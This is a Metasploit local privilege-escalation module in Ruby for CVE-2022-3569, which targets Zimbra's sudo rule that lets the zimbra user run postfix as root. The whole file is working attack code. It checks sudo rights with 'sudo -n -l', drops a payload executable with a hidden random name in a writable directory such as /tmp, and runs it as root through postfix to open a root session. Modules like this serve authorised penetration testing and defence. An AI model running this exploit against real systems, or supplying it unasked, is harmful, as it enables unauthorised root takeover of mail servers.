##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::Linux::Priv
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zimbra sudo + postfix privilege escalation',
'Description' => %q{
This module exploits a vulnerable sudo configuration that permits the
zimbra user to execute postfix as root. In turn, postfix can execute
arbitrary shellscripts, which means it can execute a root shell.
},
'License' => MSF_LICENSE,
'Author' => [
'EvergreenCartoons', # discovery and poc
'Ron Bowes', # Module
],
'DisclosureDate' => '2022-10-13',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => true,
'References' => [
[ 'CVE', '2022-3569' ],
[ 'URL', 'https://twitter.com/ldsopreload/status/1580539318879547392' ],
],
'Targets' => [
[ 'Auto', {} ],
],
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ IOC_IN_LOGS ]
}
)
)
register_options [
OptString.new('SUDO_PATH', [ true, 'Path to sudo executable', 'sudo' ]),
OptString.new('ZIMBRA_BASE', [ true, "Zimbra's installation directory", '/opt/zimbra' ]),
]
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
OptString.new('PayloadFilename', [ false, 'The name to use for the executable (default: ".<random>"' ])
]
end
# Because this isn't patched, I can't say with 100% certainty that this will
# detect a future patch (it depends on how they patch it)
def check
# Sanity check
if is_root?
fail_with(Failure::None, 'Session already has root privileges')
end
unless file_exist?("#{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
print_error("postfix executable not detected: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix (set ZIMBRA_BASE if Zimbra is installed in an unusual location)")
return CheckCode::Safe
end
unless command_exists?(datastore['SUDO_PATH'])
print_error("Could not find sudo: #{datastore['SUDOPATH']} (set SUDO_PATH if sudo isn't in $PATH)")
return CheckCode::Safe
end
# Run `sudo -n -l` to make sure we have access to the target command
cmd = "#{datastore['SUDO_PATH']} -n -l"
print_status "Executing: #{cmd}"
output = cmd_exec(cmd).to_s
if !output || output.start_with?('usage:') || output.include?('illegal option') || output.include?('a password is required')
print_error('Current user could not execute sudo -l')
return CheckCode::Safe
end
if !output.include?("(root) NOPASSWD: #{datastore['ZIMBRA_BASE']}/common/sbin/postfix")
print_error('Current user does not have access to run postfix')
return CheckCode::Safe
end
CheckCode::Appears
end
def exploit
base_dir = datastore['WritableDir'].to_s
unless writable?(base_dir)
fail_with(Failure::BadConfig, "#{base_dir} is not writable")
end
# Generate some filenames
payload_path = File.join(base_dir, datastore['PayloadFilename'] || ".#{rand_text_alphanumeric(5..10)}")
upload_and_chmodx(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
cmd = "sudo #{datastore['ZIMBRA_BASE']}/common/sbin/postfix -D -v #{payload_path}"
print_status "Attempting to trigger payload: #{cmd}"
out = cmd_exec(cmd)
unless session_created?
print_error("Failed to create session! Cmd output = #{out}")
end
end
end
